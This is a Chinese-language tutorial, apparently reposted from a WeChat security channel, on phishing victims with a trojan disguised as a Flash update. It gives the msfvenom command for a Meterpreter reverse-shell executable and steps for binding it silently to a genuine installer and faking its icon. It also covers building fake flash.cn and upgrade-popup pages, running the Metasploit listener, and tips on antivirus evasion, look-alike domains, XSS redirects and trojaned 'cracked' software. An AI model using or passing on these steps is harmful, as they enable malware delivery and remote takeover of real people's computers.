正文共： 1824字 33图

         预计阅读时间： 5分钟

Flash捆绑木马钓鱼流程：

1、生成木马

2、正常软件捆绑木马

3、想办法诱使受害者点击下载捆绑木马程序

 a) 利用xss漏洞，弹出flash升级提醒

 b)受害者点击升级调整到钓鱼网站，下载捆绑木马程序

4、攻击机开启监听，等待受害者运行捆绑木马的程序，运行后即可上线，拿到受害者主机控制权限

一、生成木马并捆绑软件  

下载官方flash

https://www.flash.cn/

             

木马生成  

启动kali 中的Metesploit

msfconsole            

             

生成Windows木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.68 LPORT=6666 -f exe > flash.exe            

             

参数讲解：

LHOST  为攻击机的IP地址，本例为kali Linux            
LPORT  为攻击机监听的端口            

生成后的木马路径一般保存在终端打开时候的默认路径

             

 

捆绑木马  

使用winrar软件压缩捆绑木马

选择要正常的flash安装软件和生成好的木马，添加压缩

压缩选项如下：常规->压缩选项->创建自解压格式压缩文件

             

点击高级->自解压选项->常规->设置解压路径，windows路径一般设置为：C:WindowsTemp 这个路径windows系统是都存在的，一般不会出错。

             

             

然后点击设置， 设置解压前后运行的程序，这里解压前后运行的程序，名称一定要和木马、正常软件安装程序名称保持一致。

             

模式选择全部隐藏

             

更新设置

             

点击确定即可

             

提取软件图标，替换捆绑后的软件图标

使用Restorator 软件提取软件图标，下载地址：https://www.52pojie.cn/thread-752217-1-1.html 评论区下有激活用户名，密钥

             

将正常软件安装程序和捆绑后的软件安装程序拖入左侧资源树栏中，找到软件安装图标

             

右击图标，导出图标

             

然后我们将导出的图标，拖到左侧捆绑后的软件图标哪里进行替换即可

             

             

然后点击保存

             

此时显示是未更改的，查看文件属性发现已经是更改的

             

重启电脑后会发现显示是正常的

             

二、搭建Flash钓鱼网站  

flash钓鱼网站源码下载地址：https://github.com/r00tSe7en/Fake-flash.cn

搭建网站这里不再详细讲解，不会的可以自行网上搜索，这里使用phpStudy进行搭建。

需要注意的是，搭建好后直接访问页面部分文件无法加载，如下图所示

             

搭建网站时候需要将源码文件中frontend 、english fakeapi中的config文件夹，移至网站根目录。或者直接将解压后的文件全部放在网站根目录即可。

             

             

更改首页捆绑木马程序下载地址

打开网站首页的源码，找到立即下载的链接，将下载链接更改为捆绑木马程序的下载地址

             

钓鱼网站生成好了，那么如何诱导受害者点击呢？

这里可以另外生成一个提示flash版本过低，升级的页面，项目地址：https://github.com/r00tSe7en/Flash-Pop

可按照实际需求更改项目中的index页面源码，js文件的代码

             

并将js代码里面的立即下载链接跳转到之前搭建的钓鱼网站

             

这个链接还不太好找，在这个content变量最后面，要拉到最后才能看到。

             

实际上这里链接直接放上木马地址也可以。

             

点击立即升级会跳转到钓鱼网站

             

点击立即下载，开始下载程序。

三、利用木马程序获取主机权限  

钓鱼网站建好后，攻击机kali就可以开启监听。

打开 metasploit

msfconsole            

配置监听状态

use exploit/multi/handler            
set payload windows/meterpreter/reverse_tcp            
set lhost 0.0.0.0            
set lport 6666            
run            

             

受害者主机点击运行安装程序

             

此时程序还在安装

             

攻击机kali侧已经可以看到主机上线，并可以成功执行命令

             

以上为常见的木马钓鱼演示，当然实际红队攻击过程中远不止如此。首先metasploit生成的木马一定会被各种杀毒软件查杀，自己做一个免杀的木马。第二就是伪装钓鱼网站诱导受害者点击，为了达到效果往往会注册一个相似的域名，例如flash官方域名为：www.flash.cn ，可注册类似的域名，如：www.flash.com, www.f1ash.cn ，www.flash.org 等等。当然最好的还是利用其他漏洞，如xss漏洞等，跳转到钓鱼网站或者直接下载木马程序。有时候还可以将一些工具软件和木马捆绑，写上xxx破解版，放到网上。

原文始发于微信公众号（网络安全透视镜）：Flash捆绑木马钓鱼攻击